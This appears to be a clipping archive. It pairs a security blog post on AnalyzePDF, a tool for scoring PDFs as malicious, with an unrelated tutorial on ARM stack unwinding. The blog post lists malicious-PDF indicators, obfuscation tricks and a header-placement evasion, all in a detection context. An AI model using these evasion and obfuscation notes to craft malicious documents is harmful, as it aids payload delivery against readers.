AnalyzePDF - Bringing the Dirt Up to the Surface 
 What is that thing they call a PDF?
The Portable Document Format (PDF) is an old format ... it was created by Adobe back in 1993 as an open standard but wasn't officially released as an open standard (SIO 32000-1) until 2008 - right @nullandnull ?  I can't take credit for the nickname that I call it today, Payload Delivery Format, but I think it's clever and applicable enough to mention.  I did a lot of painful reading through the PDF specifications in the past and if you happen to do the same I'm sure you'll also have a lot of "hm, that's interesting" thoughts as well as many "wtf, why?" thoughts.  I truly encourage you to go out and do the same... it's a great way to learn about the internals of something, what to expect and what would be abnormal.  The PDF has become a defacto for transferring files, presentations, whitepapers etc.
<rant> How about we stop releasing research/whitepapers about PDF 0-days/exploits via a PDF file... seems a bit backwards</rant>

We've all had those instances where you wonder if that file is malicious or benign ... do you trust the sender or was it downloaded from the Internet?   Do you open it or not?  We might be a bit more paranoid than most people when it comes to this type of thing and but since they're so common they're still a reliable means for a delivery method by malicious actors.  As the PDF contains many 'features', these features often turn into 'vulnerabilities' (Do we really need to embed an exe into our PDF? or play a SWF game?).  Good thing it doesn't contain any vulnerabilities, right? (to be fair, the sandboxed versions and other security controls these days have helped significantly)
 
http://www.cvedetails.com/product/497/Adobe-Acrobat-Reader.html?vendor_id=53 
What does a PDF consist of?
In its most basic format, a PDF consists of four components: header, body, cross-reference table (Xref) and trailer:
 
(sick M$ Paint skillz, I know)
If we create a simple PDF (this example only contains a single word in it) we can see a better idea of the contents we'd expect to see:


 What else is out there?
Since PDF files are so common these days there's no shortage of tools to rip them apart and analyze them.  Some of the information contained in this post and within the code I'm releasing may be an overlap of others out there but that's mainly because the results of our research produced similar results or our minds think alike...I'm not going to touch on every tool out there but there are some that are worth mentioning as I either still use them in my analysis process or some of their functionality/lack of functionality is what sparked me to write AnalyzePDF .  By mentioning the tools below my intentions aren't to downplay them and/or their ability to analyze PDF's but rather helping to show reasons I ended up doing what I did.
pdfid/pdf-parser  
Didier Stevens created some of the first analysis tools in this space, which I'm sure you're already aware of.  Since they're bundled into distros like BackTrack/REMnux already they seem like good candidates to leverage for this task.  Why recreate something if it's already out there?  Like some of the other tools, it parses the file structure and presents the data to you... but it's up to you to be able to interpret that data.  Because these tools are commonly available on distros and get the job done I decided they were the best to wrap around.

Did you know that pdfid has a lot more capability/features that most aren't aware of?  If you run it with the (-h) switch you'll see some other useful options such as the (-e) which display extra information. Of particular note here is the mention of "%%EOF", "After last %%EOF", create/mod dates and the entropy  calculations.  During my data gathering I encountered a few hiccups that I hadn't previously experienced.  This is expected as I was testing a large data set of who knows what kind of PDF's.  Again, I'm not noting these to put down anyone's tools but I feel it's important to be aware of what the capabilities and limitations of something are - and also in case anyone else runs into something similar so they have a reference.  Because of some of these, I am including a slightly modified version of pdfid as well.  I haven't tested if the newer version fixed anything so I'd rather give the files that I know work with it for everyone.
· I first experienced a similar error as mentioned here  when using the (-e) option on a few files (e.g. - cbf76a32de0738fea7073b3d4b3f1d60 ).  It appears it doesn't count multiple '%%EOF's since if the '%%EOF' is the last thing in the file without a '/r' or '/n' behind it, it doesn't  seem to count it.
· I've had cases where the '/Pages' count was incorrect - there were (15) PDF's that showed '0' pages during my tests.  One way I tried to get around this was to use the (-a) option and test between the '/Page' and '/Pages/ values. (e.g. - ac0487e8eae9b2323d4304eaa4a2fdfce4c94131 )
· There were times when the number of characters after the last '%%EOF' were incorrect
· Won't flag on JavaScript if it's written like "<script contentType="application/x-javascript">" (e.g - cbf76a32de0738fea7073b3d4b3f1d60 ) :


peepdf  
Peepdf has gone through some great development over the course of me using it and definitely provides some great features to aid in your analysis process.  It has some intelligence built into it to flag on things and also allows one to decode things like JavaScript from the current shell.  Even though it has a batch/automated mode to it, it still feels like more of a tool that I want to use to analyze a single PDF at a time and dig deep into the files internals.
· Originally , this tool didn't look match keywords if they had spaces after them but it was a quick and easy fix... glad this testing could help improve another users work.
PDFStreamDumper  
PDFStreamDumper is a great tool with many sweet features but it has its uses and limitations like all things.  It's a GUI and built for analysis on Windows systems which is fine but it's power comes from analyzing a single PDF at a time - and again, it's still mostly a manual process.
pdfxray /pdfxray_lite  
Pdfxray was originally an online tool but Brandon created a lite version so it could be included in REMnux (used to be publicly accessible but at the time of writing this looks like that might have changed).  If you look back at some of Brandon's work historically he's also done a lot in this space as well and since I encountered some issues with other tools and noticed he did as well in the past I know he's definitely dug deep and used that knowledge for his tools.  Pdfxray_lite has the ability to query VirusTotal for the file's hash and produce a nice HTML report of the files structure - which is great if you want to include that into an overall report but again this requires the user to interpret the parsed data
pdfcop  
Pdfcop is part of the Origami framework.  There're some really cool tools within this framework but I liked the idea of analyzing a PDF file and alerting on badness.  This particular tool in the framework has that ability, however, I noticed that if it flagged on one cause then it wouldn't continue analyzing the rest of the file for other things of interest (e.g. - I've had it close the file our right away if there was an invalid Xref without looking at anything else.  This is because PDF's are read from the bottom up meaning their Xref tables are first read in order to determine where to go next).  I can see the argument of saying why continue to analyze the file if it already was flagged bad but I feel like that's too much of tunnel vision for me.  I personally prefer to know more than less...especially if I want to do trending/stats/analytics.
So why create something new?
While there are a wealth of PDF analysis tools these days, there was a noticeable gap of tools that have some intelligence built into them in order to help automate certain checks or alert on badness.  In fairness, some (try to) detect exploits based on keywords or flag suspicious objects based on their contents/names but that's generally the extent of it.  I use a lot of those above mentioned tools when I'm in the situation where I'm handed a file and someone wants to know if it's malicious or not... but what about when I'm not around?  What if I'm focused/dedicated to something else at the moment?  What if there's wayyyy too many files for me to manually go through each one?  Those are the kinds of questions I had to address and as a result I felt I needed to create something new.  Not necessarily write something from scratch... I mean why waste that time if I can leverage other things out there and tweak them to fit my needs?  
Thought Process 
What do people typically do when trying to determine if a PDF file is benign or malicious?  Maybe scan it with A/V and hope something triggers, run it through a sandbox and hope the right conditions are met to trigger or take them one at a time through one of the above mentioned tools?  They're all fine work flows but what if you discover something unique or come across it enough times to create a signature/rule out of so you can trigger on it in the future?  We tend to have a lot to remember so doing the analysis one offs may result in us forgetting something that we previously discovered.  Additionally, this doesn't scale too great in the sense that everyone on your team might not have the same knowledge that you do... so we need some consistency/intelligence built in to try and compensate for these things.< 
 I felt it was better to use the characteristics of a malicious file (either known or observed from combinations of within malicious files) to eval what would indicate a malicious file.  Instead of just adding points for every questionable attribute observed. e.g. - instead of adding a point for being a one page PDF, make a condition to say if you see an invalid xref and a one page PDF then give it a score of X.  This makes the conditions more accurate in my eyes; since, for example:
1. A single paged PDF by itself isn't malicious but if it also contains other things of question then it should have a heavier weight of being malicious.  
2. Another example is JavaScript within a PDF.  While statistics show JavaScript within a PDF are a high indicator that it's malicious, there're still legitimate reasons for JavaScript to be within a PDF (e.g. - to calculate a purchase order form or verify that you correctly entered all the required information the PDF requires).
Gathering Stats 
At the time I was performing my PDF research and determining how I wanted to tackle this task I wasn't really aware of machine learning.  I feel this would be a better path to take in the future but the way I gathered my stats/data was in a similar (less automated/cool AI) way.  There's no shortage of PDF's out there which is good for us as it can help us to determine what's normal, malicious, or questionable and leverage that intelligence within a tool.
If you need some PDF's to gather some stats on, contagio has a pretty big bundle to help get you started.  Another resource is Govdocs from Digital Corpora ... or a simple Google dork .

Note : Spidering/downloading these will give you files but they still need to be classified as good/bad for initial testing).  Be aware that you're going to come across files that someone may mark as good but it actually shows signs of badness... always interesting to detect these types of things during testing! 
Stat Gathering Process 
So now that I have a large set of files, what do I do now?  I can't just rely on their file extensions or someone else saying they're malicious or benign so how about something like this:
1. Verify it's a PDF file.  
· When reading through the PDF specs I noticed that the PDF header can be within the first 1024 bytes of the file as stated in ""3.4.1, 'File Header' of Appendix H - ' Acrobat viewers require only that the header appear somewhere within the first 1024 bytes of the file.'"... that's a long way down compared to the traditional header which is usually  right in the beginning of a file.  So what's that mean for us?  Well if we rely solely on something like file or TRiD they _might_ not properly identify/classify a PDF that has the header that far into the file as most only look within the first 8 bytes (unfair example is from corkami ).  We can compensate for this within our code/create a YARA rule etc.... you don't believe me you say?  Fair enough, I don't believe things unless I try them myself either:
 
The file to the left is properly identified as a PDF file but when I created a copy of it and modified it so the header was a bit lower, the tools failed.  The PDF on the right is still in accordance with the PDF specs and PDF viewers will still open it (as shown)... so this needs to be taken into consideration.
· Get rid of duplicates (based on SHA256 hash) for both files in the same category (clean vs. dirty) then again via the entire data set afterwards to make sure there're no duplicates between the clean and dirty sets.
· Run pdfid & pdfinfo over the file to parse out their data.  
· These two are already included in REMnux so I leveraged them. You can modify them to other tools but this made it flexible for me and I knew the tool would work when run on this distro; pdfinfo parsed some of the data better during tests so getting the best of both of them seemed like the best approach.
· Run scans for low hanging fruit/know badness with local A/V||YARA
Now that we have a more accurate data set classified:
· Are all PDFs classified as benign really benign?
· Are all PDFs classified as malicious really malicious? 
Stats 
Files analyzed (no duplicates found between clean & dirty):
Class
Type
Count
Dirty
Pre-Dup
22,342
Dirty
Post-Dup
11,147
Clean
Pre-Dup
2,530
Dirty
Post-Dup
2,529
Total Files Analyzed:
13,676
I've collected more than enough data to put together a paper or presentation but I feel that's been played out already so if you want more than what's outlined here just ping me.  Instead of dragging this post on for a while showing each and every stat that was pulled I feel it might be more useful to show a high level comparison of what was detected the most in each set and some anomalies.


Ah-Ha's 
· None of the clean files had incorrect file headers/versions
· There wasn't a single keyword/attribute parsed from the clean files that covered more than 4.55% of it's entire data set class.  This helps show the uniqueness of these files vs. malicious actors reusing things.
· The dates within the clean files were generally unique while the date fields on the dirty files were more clustered together - again, reuse?
· None of the values for the keywords/attributes of the clean files were flagged as trying to be obfuscated by pdfid
· Clean files never had '/Colors > 2^24' above 0 while some dirty files did 
· Rarely did a clean file have a high count of JavaScript in it while dirty files ranged from 5-149 occurrences per file
· '/JBIG2Decode' was never above '0' in any clean file
· '/Launch' wasn't used much in either of the data sets but still more common in the dirty ones
· Dirty files have far more characters after the last %%EOF (starting from 300+ characters is a good check)
· Single page PDF's have a higher likelihood of being malicious - no duh
· '/OpenAction' is far more common in malicious files
YARA signatures 
I've also included some PDF YARA rules that I've created as a separate file so you can use those to get started.  YARA isn't really required but I'm making it that way for the time being because it's helpful... so I have the default rules location pointing to REMnux's copy of MACB's rules unless otherwise specified.

Clean data set:
 
Dirty data set:


Signatures that triggered across both data sets:
 
Cool... so we know we have some rules that work well and others that might need adjusting, but they still help!
What to look for 
So we have some data to go off of... what are some additional things we can take away from all of this and incorporate into our analysis tool so we don't forget about them and/or stop repetitive steps?
1. Header
· In addition to being after the first 8 bytes I found it useful to look at the specific version within the header.  This should normally look like "%PDF-M.N." where M.N is the Major/Minor version .. however, the above mentioned 'low header' needs to be looked for as well.

Knowing this we can look for invalid PDF version numbers or digging deeper we can correlate the PDF's features/elements to the version number and flag on mismatches. Here're some examples of what I mean, and more reasons why reading those dry specs are useful:
· If FlateDecode was introduced in v1.2 then it shouldn't be in any version below
· If JavaScript and EmbeddedFiles were introduced in v1.3 then they shouldn't be in any version below
· If JBIG2 was introduced in v1.4 then it shouldn't be in any version below
· Body
· This is where all of the data is (supposed to be) stored; objects (strings, names, streams, images etc.).  So what kinds of semi-intelligent things can we do here?
· Look for object/stream mismatches.  e.g - Indirect Objects must be represented by 'obj' and 'endobj' so if the number of 'obj' is different than the number of  'endobj' mentions then it might be something of interest
· Are there any questionable features/elements within the PDF? 
· JavaScript doesn't immediately make the file malicious as mentioned earlier, however, it's found in ~90% of malicious PDF's based on others and my own research.
· '/RichMedia'  - indicates the use of Flash (could be leveraged for heap sprays)
· '/AA', '/OpenAction', '/AcroForm' - indicate that an automatic action is to be performed (often used to execute JavaScript)
· '/JBIG2Decode', '/Colors' - could indicate the use of vulnerable filters; Based on the data above maybe we should look for colors with a value greater than 2^24
· '/Launch', '/URL', '/Action', '/F', '/GoToE', '/GoToR' - opening external programs, places to visit and redirection games
· Obfuscation
· Multiple filters ('/FlateDecode', '/ASCIIHexDecode', '/ASCII85Decode', '/LZWDecode', '/RunLengthDecode')
·  The streams within a PDF file may have filters applied to them (usually for compressing/encoding the data).  While this is common, it's not common within benign PDF files to have multiple filters applied.  This behavior is commonly associated with malicious files to try and thwart A/V detection by making them work harder.
· Separating code over multiple objects
· Placing code in places it shouldn't be (e.g. - Author, Keywords etc.)
· White space randomization
· Comment randomization
· Variable name randomization
· String randomization
· Function name randomization
· Integer obfuscation
· Block randomization
· Any suspicious keywords that could mean something malicious when seen with others?
·  eval, array, String.fromCharCode, getAnnots, getPageNumWords, getPageNthWords, this.info, unescape, %u9090
· Xref 
The first object has an ID 0 and always contains one entry with generation number 65535. This is at the head of the list of free objects (note the letter ‘f’ that means free). The last object in the cross reference table uses the generation number 0.

Translation please?  Take a look a the following Xref:


Knowing how it's supposed to look we can search for Xrefs that don't adhere to this structure.
· Trailer
· Provides the offset of the Xref (startxref)
· Contains the EOF, which is supposed to be a single line with "%%EOF" to mark the end of the trailer/document.  Each trailer will be terminated by these characters and should also contain the '/Prev' entry which will point to the previous Xref.
· Any updates to the PDF usually result in appending additional elements to the end of the file

This makes it pretty easy to determine PDF's with multiple updates or additional characters after what's supposed to be the EOF
· Misc.
· Creation dates (both format and if a particular one is known to be used)
· Title
· Author
· Producer
· Creator
· Page count
The Code 
So what now?  We have plenty of data to go on - some previously known, but some extremely new and helpful.  It's one thing to know that most files with JavaScript or that are (1) page have a higher tendency of being malicious... but what about some of the other characteristics of these files?  By themselves, a single keyword/attribute might not stick out that much but what happens when you start to combine them together?  Welp, hang on because we're going to put this all together.
File Identification 
In order to account for the header issue, I decided the tool itself would look within the first 1024 bytes instead of relying on other file identification tools:


Another way, so this could be detected whether this tool was used or not, was to create a YARA rule such as: 


Wrap pdfinfo 
Through my testing I found this tool to be more reliable in some areas as opposed to pdfid such as:
· Determining if there're any Xref errors produced when trying to read the PDF
· Look for any unterminated hex strings etc.
· Detecting EOF errors
Wrap pdfid 
· Read the header.  *pdfid will show exactly what's there and not try to convert it*
· _attempt_ to determine the number of pages
· Look for object/stream mismatches
· Not only look for JavaScript but also determine if there's an abnormally high amount
· Look for other suspicious/commonly used elements for malicious purposes (AcroForm, OpenAction, AdditionalAction, Launch, Embedded files etc.)
· Look for data after EOF
· Calculate a few different entropy scores
Next, perform some automagical checks and hold on to the results for later calculations.
Scan with YARA 
While there are some pre-populated conditions that score a ranking built into the tool already, the ability to add/modify your own is extremely easy.  Additionally, since I'm a big fan of YARA I incorporated it into this as well.  There're many benefits of this such as being able to write a rule for header evasion, version number mismatching to elements or even flagging on known malicious authors or producers.  The biggest strength, however, is the ability to add a 'weight' field in the meta section of the YARA rules.  What this does is allow the user to determine how good of a rule it is and if the rule triggers on the PDF, then hold on to its weighted value and incorporate it later in the overall calculation process which might increase it's maliciousness score.  Here's what the YARA parsing looks like when checking the meta field:


And here's another YARA rule with that section highlighted for those who aren't sure what I'm talking about:
 
If the (-m) option is supplied then if _any_ YARA rule triggers on the PDF file it will be moved to another directory of your choosing.  This is important to note because one of your rules may hit on the file but it may not be displayed in the output, especially if it doesn't have a weight field.

Once the analysis has completed the calculation process starts.  This is two phase -
1. Anything noted from pdfino and pdfid are evaluated against some pre-determined combinations I configured.  These are easy enough to modify as needed but they've been very reliable in my testing...but hey, things change!  Instead of moving on once one of the combination sets is met I allow the scoring to go through each one and add the additional points to the overall score, if warranted.  This allows several 'smaller' things to bundle up into something of interest rather than passing them up individually.
2. Any YARA rule that triggered on the PDF file has it's weighted value parsed from the rule and added to the overall score.  This helps bump up a files score or immediately flag it as suspicious if you have a rule you really want to alert on.


So what's it look like in action?  Here's a picture I tweeted a little while back of it analyzing a PDF exploiting CVE-2013-0640  :


Download 
I've had this code for quite a while and haven't gotten around to writing up a post to release it with but after reading a former coworkers blog post  last night I realized it was time to just write something up and get this out there as there are still people asking for something that employs some of the capabilities (e.g. - weight ranking).  Is this 100% right all the time? No... let's be real.  I've come across situations where a file that was benign was flagged as malicious based on its characteristics and that's going to happen from time to time.  Not all PDF creators adhere to the required specifications and some users think it's fun to embed or add things to PDF's when it's not necessary.  What this helps to do is give a higher ranking to files that require closer attention or help someone determine if they should open a file right away vs. send it to someone else for analysis (e.g. - deploy something like this on a web server somewhere and let the user upload their questionable file to is and get back a "yes it's ok -or- no, sending it for analysis".

AnalyzePDF can be downloaded on my github 
Further Reading 
 
﻿http://eprint.iacr.org/2010/337.pdf 
337.pdf (application/pdf-Objekt)
Created:
7/6/2010 7:14:16 AM
Updated:
7/6/2010 7:15:04 AM
Author:
wishi
Tags:
crypto LOLZ


﻿http://www.mcternan.co.uk/ArmStackUnwinding/ 
ARM Stack Unwinding
Created:
4/21/2011 10:12:25 AM
Updated:
4/21/2011 10:12:25 AM
Author:

Tags:
arm


ARM Stack Unwinding

by Michael McTernan

Introduction
Languages like C++ and Java have very useful facilities that allow a stack trace to be collected and displayed in a variety of ways. In Java, a snapshot of the current stack trace can be taken simply by constructing a Throwable object, and the trace can be displayed using the printStackTrace() method. 
    Throwable t = new Throwable();

    t.printStackTrace(System.out);
Example 1: Displaying the current call stack in Java.
C++ offers similar facilities, and because of this, both these languages can provide useful information when an unexpected failure occurs and is detected. For example, assertions maybe placed in the code with the failure action being to display the current stack trace to help the programmer debug the cause. 
Unfortunately C offers no such inbuilt luxury, and as such, debugging without a debugger or other logging mechanism maybe a little more difficult in the first instance. This interests me as I've worked as an embedded engineer creating software for consumer devices which are extensively field tested containing code that makes extensive use of assertion macros. I decided to investigate stack unwinding in order to enable better information to be gathered from devices that have failed in the field, with a goal to supporting stack tracing without the need for expensive or cumbersome supporting hardware. 
Therefore I decided to make an ARM stack unwinder that would be suitable to run on an embedded target to provide stack trace capabilities for C, similar to those already enjoyed by other languages. 
Design Consideration
Since the target is an embedded processor in a consumer device, there are some restrictions on how the solution can be engineered and what options are available. At the same time, knowing the target processor is likely to be an ARM7 or similar processor using the ARM and Thumb Instruction Set Architectures allows the solution to be targeted specifically to this family of RISC processors. 
The restrictions imposed by the embedded target are as follows: 
· There is little free storage (RAM or ROM). 
· Large amounts of code will run from FLASH and cannot be modified. 
· The form factor device cannot be directly connected to a debugger. 
Since storage is at a premium on these devices, I decided to forego use of debug tables as these would need embedding on the target and would be large, even if compressed. Since code runs from FLASH, I also have to be careful that the solution does not try and patch any code - one stack unwinding approach described in the ARM APCS document is to 'patch' function entries and exits and to then execute code to cause the stack adjustments to be made and stack frames unwound. (Patching code in FLASH is not easy since FLASH can generally only be erased in blocks and then written once i.e. it is not truly random access. Additionally erasing any block of FLASH could potentially permanently damage the device until it is reprogrammed, so that is a risk and complexity best avoided if at all possible). 
Finally the form factor devices usually don't bring out connectors for debugging such as JTAG. This may sound weird, but all the pins on the package inside the device have a use and JTAG is usually multiplexed with something that is generally more useful, and exposing debug interfaces is also considered a security issue and frowned upon in the industry. Additionally having less external connectors makes Electrostatic Discharge (ESD) protection simpler as well as having other small benefits. And in any case, Java requires no debugger to grab a stack trace, so why should C? 
Method
Given the above restrictions, I decided that the best approach is to write a small model of the ARM processor which can interpret the code and look for the tell-tale signs of functions returning to divine the call stack. Yup, I decided to write a model ARM processor to run on the ARM to interpret the code with the aim of unwinding the stack, as opposed to producing bit exact interpretation of the code. Implementing the model ARM provides a couple of challenges that are laid out in the following subsections. 
Function Epilogs
All functions look pretty much the same. They have a prologue, a main body and an epilogue. The compiler generates the prologue and epilogue on almost all functions (IRQ handling functions can be an explicit exception to this) to setup and teardown the stack frame used during the function body for things such as local variables. Debug tables can give details about the location of function prologues and epilogues to assist debuggers in interpreting the stack at any time, but I don't have these, so have to locate them automatically. 
Since this is targeted at ARM processors, only ARM functions need to be considered. Looking at a few epilogues, it can be seen that they generally look the same and take the format shown in the following examples: 
ADD      sp,#0x28
POP      {r4-r6,pc}
Example 2: Function epilog in Thumb.
ADD      sp,sp,#0x28
LDMFD    sp!,{r4-r6,pc}
Example 3: Function epilog in ARM.
The examples show a stack adjustment to remove storage allocated for locals, then a restoration of the corrupted registers as required by the ARM ABI, and the restoration of the program counter (PC) from the stack effectively executing the return. The return is very similar and can be detected easily regardless of processor operating mode (Thumb or ARM), although this raises an interesting question. The examples show a return that is only suitable if the function is always called from code in the same operating mode as the function itself i.e. the Thumb return code can only be used if returning to Thumb code, and the same is also true for ARM code. Practically it is sometimes the case that ARM code may call Thumb functions and vice versa, and this is known as interworking. Fortunately the ARM ABI also describes interworking and more examples can be generated to show function epilogues used when interworking is required. 
ADD      sp,#0x28
POP      {r4-r6}
POP      {r3}
BX       r3
Example 4: Function epilog in Thumb with interworking.
ADD      sp,sp,#0x28
LDMFD    sp!,{r4-r6,lr}
BX       lr
Example 5: Function epilog in ARM with interworking.
With interworking, the BX instruction is used to enable the processor mode to be changed at the same time as returning from the function. In each case, the return address is restored to a register before being used with the BX instruction to cause the return, where the least significant bit of the return address is used to indicate the desired processor mode once the branch has been taken. So we now have a good idea of what we need to detect in order to determine where a function exits - the reading of a return address from the stack, it being loaded into the PC either directly by the load, or via a BX instruction.
The first thing in the model ARM is therefore to store not only register contents, but a bit of data about where the contents originated from. To do this, I've made a couple of types for my model ARM to use. 
typedef enum
{
    REG_VAL_INVALID      = 0x00,
    REG_VAL_FROM_STACK   = 0x01,
    REG_VAL_FROM_MEMORY  = 0x02,
    REG_VAL_FROM_CONST   = 0x04,
    REG_VAL_ARITHMETIC   = 0x80
}
RegValOrigin;

typedef struct
{
    Int32              v;
    RegValOrigin       o;
}
RegData;
Code 1: Representation of a register in the model ARM.
Creating an array of RegData structures then allows the register file to be emulated. The Program Counter (PC) and Stack Pointer (SP) can be added to the register file to give the model a basis to interpret code.
At this point, two basic loops are added to the model - one to interpret Thumb code, and one to interpret ARM code and decoding for the POP and LDMFD instructions are added respectively. When a value is loaded to a register, the RegValOrigin can now be updated to indicate that the data originated on the stack, REG_VAL_FROM_STACK, making it easy to spot a function returning when a BX is encountered for such a tracked register. Interpretation of BX is therefore added to both the ARM and Thumb modes, faithfully checking the LSB of the branch address to change the interpretation mode between ARM and Thumb as needed.
At this point, the model ARM is capable of detecting the return from a function. This is a good start, but it needs to handle the stack adjustment if it is to be able to unwind more than one stack frame. In the examples seen so far, the stack adjust has just been the addition of 0x28 to the stack pointer, although this will not always be the case. Depending on the amount of stack data utilised by a function, the stack adjust maybe for a different value, and unfortunately not all adjustments can be accommodated by a single instruction. The following shows an odd C function and the generated assembly.
int testStackResize(void)
{
    char biggie[0x81111];
    char *c = biggie;
    int  t;

    sprintf(biggie, "Hello");

    t = 0;

    while(*c)
    {
        t += *c;
        c++;
    }

    runFunc();
    return t;
}
Example 6a: Function with odd stack usage.
testStackResize PROC
        LDR      r3,|L1.364| + 56
        PUSH     {r4,r5,lr}
        ADD      sp,r3
        MOV      r0,sp
        MOV      r4,sp
        ADR      r1,|L1.364| + 60
        BL       __0sprintf
        MOV      r5,#0
        B        |L1.202|
|L1.198|
        ADD      r5,r0,r5
        ADD      r4,#1
|L1.202|
        LDRB     r0,[r4,#0]
        CMP      r0,#0
        BNE      |L1.198|
        LDR      r0,|L1.364| + 68
        LDR      r0,[r0,#0]  ; runFunc
        BL       __call_via_r0
        LDR      r3,|L1.364| + 56
        MOV      r0,r5
        NEG      r3,r3
        ADD      sp,r3
        POP      {r4,r5}
        POP      {r3}
        BX       r3

Example 6b: Assembly listing of function with odd stack usage.
This fictional function is far from pretty, and the epilogue is somewhat more complicated. The important instructions are the LDR into r3 from a constant memory address, then the NEG operation before the stack adjust. Interlaced with this is an instruction to move the function's return value into r0 in accordance with the ABI. This requires the model ARM not only to interpret a number of new instructions, but also provokes thought about how the compiler generates awkward constant values.
In ARM and Thumb mode there are a number of ways in which to generate a constant value, and the model ARM will need to be able to interpret them all. Worse still is the possibility that the desired constant, or some part of it, has already been created for use by the function body an that the compiler will use this already constructed value. This means that the model not only needs to be able to interpret any instructions that can be used to generate constant values, but that it needs to be able to look outside the function epilogue and into the function body too. Therefore the model ARM becomes yet more sophisticated and now attempts to interpret every instruction of the program, starting at the PC and SP values from where the stack trace is required, and stopping when some to be determined criteria is met. 
Clearly it is desirable for the model ARM is to remain small, and so only the subset of instructions that are needed for stack unwinding should be implemented. The required instructions that have been identified so far are those that are involved in constant value generation, stack adjusting and returning. The question is what to do when an instruction that is not understood is encountered. The solution to this is simple - invalidate all state and continue the interpretation! As seen earlier, the registers also have a status attached to their value, one status being REG_VAL_INVALID. Upon an uninterpreted instruction being found, all registered values, with the exception of the PC and SP are therefore invalidated. 
Now that register values can be invalid, the rules of arithmetic also have to change to propagate this meta data. For example, a simple addition of two registers to yield a value in a third should produce a result with status REG_VAL_INVALID if either of the inputs is invalid. Additionally a register MOV should copy not only the register value, but the status too. The following code fragment from the ARM interpreting loop shows how the propagation of the register status data is handled for Data Processing instructions.
/* Propagate register validity */
switch(arithOp)
{
    case  0: /* AND: Rd := Op1 AND Op2 */
    case  1: /* EOR: Rd := Op1 EOR Op2 */
    case  2: /* SUB: Rd:= Op1 - Op2 */
    case  3: /* RSB: Rd:= Op2 - Op1 */
    case  4: /* ADD: Rd:= Op1 + Op2 */
    case 12: /* ORR: Rd:= Op1 OR Op2 */
    case 14: /* BIC: Rd:= Op1 AND NOT Op2 */
        if(!M_IsOriginValid(state->regData[rn].o) ||
           !M_IsOriginValid(op2origin))
        {
            state->regData[rd].o = REG_VAL_INVALID;
        }
        else
        {
            state->regData[rd].o = state->regData[rn].o;
            state->regData[rd].o |= op2origin;
        }
        break;
    case  5: /* ADC: Rd:= Op1 + Op2 + C */
    case  6: /* SBC: Rd:= Op1 - Op2 + C */
    case  7: /* RSC: Rd:= Op2 - Op1 + C */
        /* CPSR is not tracked */
        state->regData[rd].o = REG_VAL_INVALID;
        break;

    case  8: /* TST: set condition codes on Op1 AND Op2 */
    case  9: /* TEQ: set condition codes on Op1 EOR Op2 */
    case 10: /* CMP: set condition codes on Op1 - Op2 */
    case 11: /* CMN: set condition codes on Op1 + Op2 */
        break;


    case 13: /* MOV: Rd:= Op2 */
    case 15: /* MVN: Rd:= NOT Op2 */
        state->regData[rd].o = op2origin;
        break;
}
Code 2: Propagation of register state in interpretation of ARM Data Processing instruction.
Now that the model is attempting to interpret all instructions, the handling of conditional code needs to be considered. Specifically the model must meet the following requirements:
· It must find the function epilogue for any function. 
· It should not get stuck in loops. 
· Infinite loops should be detectable. 
· There should be no significant overhead on the interpretation. 
ARM instructions employ conditional guarding, meaning that condition codes can be attached to most instructions such that they are only executed if the condition is met. Thumb mode uses conditional branch instructions, BNE BEQ etc..., to achieve a similar goal, and in both cases the Status Register (SR) holds the condition flags which determine if a branch is taken or an ARM instruction executed. Tracking the SR would apply overhead and make the model more complex, as will any sort of branch analysis to find infinite loops and function exits. Therefore I make the following assumptions, to simplify the model ARM. 
· All conditional code can be ignored. 
· Conditional branches never need to be taken. 
· Unconditional branched must always be taken. 
It seems highly unlikely that the function epilogue will contain conditional code and the 'stack moves once' rule of the ABI means that there is no risk of needing to conditionally correct the stack depending on the path taken through the function. Unconditional branches must always be taken since without them it is possible that interpretation could wander into another function or data area. Ignoring conditional branches also greatly simplifies the interpreter, but introduces a risk that some loops may appear infinite, as the following example shows.
int loop()
{
    while(1)
    {
        int v = getch();

        if(v == EOF)      { break; }
        else if(v == 10)  { printf("\n"); }
        else              { printf("%c", v); }
    }

    return funcB();
}
Example 7a: Example loop where the exit condition is tested within the loop. 
loop PROC
        PUSH     {r4,lr}
|L1.2|
        BL       getch
        CMP      r0,#0
        BEQ      |L1.32|
        CMP      r0,#0xa
        BNE      |L1.22|
        ADR      r0,|L1.36|
        BL       __0printf
        B        |L1.2|
|L1.22|
        MOV      r1,r0
        ADR      r0,|L1.36| + 4
        BL       __0printf
        B        |L1.2|
|L1.32|
        POP      {r4,pc}
        DCW      0000
|L1.36| DATA
        DCB      "\n\0\0\0"
        DCB      "%c\0\0"
        ENDP
Example 7b: Thumb assembly showing compiler output.
In the above example, the BEQ needs to be taken in order to reach the function epilogue. Without understanding of the Status Register, the model ARM cannot do this, so instead gets stuck in the loop - this is the first caveat of the scheme. Accepting for the moment that this type of construct may occur (although I personally would try to avoid writing such C code as it misses the purpose of the while statement!), a scheme for detecting an infinite loop is required. I opt simply to count the number of instructions since a function return was discovered, and to stop the interpretation if some predefined limit is exceeded. This is very simple, and has little overhead, although may take longer to determine that unwinding is stuck than a more analytical approach would allow. 
At this point, the model ARM should be capable of unwinding most stacks, has the ability to interpret all the code that could appear in a function epilogue and can interpret and detect returning to a register value sourced from the stack. The interpreter has a simple method to blunder into most function epilogues and also has a primitive method of detecting when it is stuck in an infinite loop. A little polish can be applied to trap cases such as the branching to a register whose value is invalid and the scheme is basically working. However, there are a couple of surprises yet...
Function Prologues
So far the model ARM has been built to concentrate on unwinding the stack frames by interpretation of code leading up to and including the function epilogues - the prologue has not needed consideration. However, there is an optimisation that can be supplied by a compiler that causes prologues to become significant. The optimisation is 'tail calling' but is not specific to ARM architectures.
Tail calling is when a function always calls another function as the last thing that it does before returning. The compiler can spot this pattern and instead of generating return code from the first function, it can call the second function in such a way that its return code will return to the original caller. 
void tailCall(int v)
{
    v *= v;
    printf("%d", v);
    tailFunc(v);
}
Example 8a: Function that makes a tail call. 
tailCall PROC
        STMFD    sp!,{r4,lr}
        MUL      r4,r0,r0
        MOV      r1,r4
        ADR      r0,|L1.524|
        BL       __0printf
        MOV      r0,r4
        LDMFD    sp!,{r4,lr}
        B        tailFunc
        ENDP
Example 8b: ARM assembly listing of tail call function. 
In this case, the Link Register (LR) is restored from the stack, but instead of the commonly seen BX, an unconditional branch is made to tailFunc(), such that tailFunc() will instead return to the value placed in the LR. It's a small optimisation that saves a word and a few cycles, but it complicates the interpretation performed by the model ARM. 
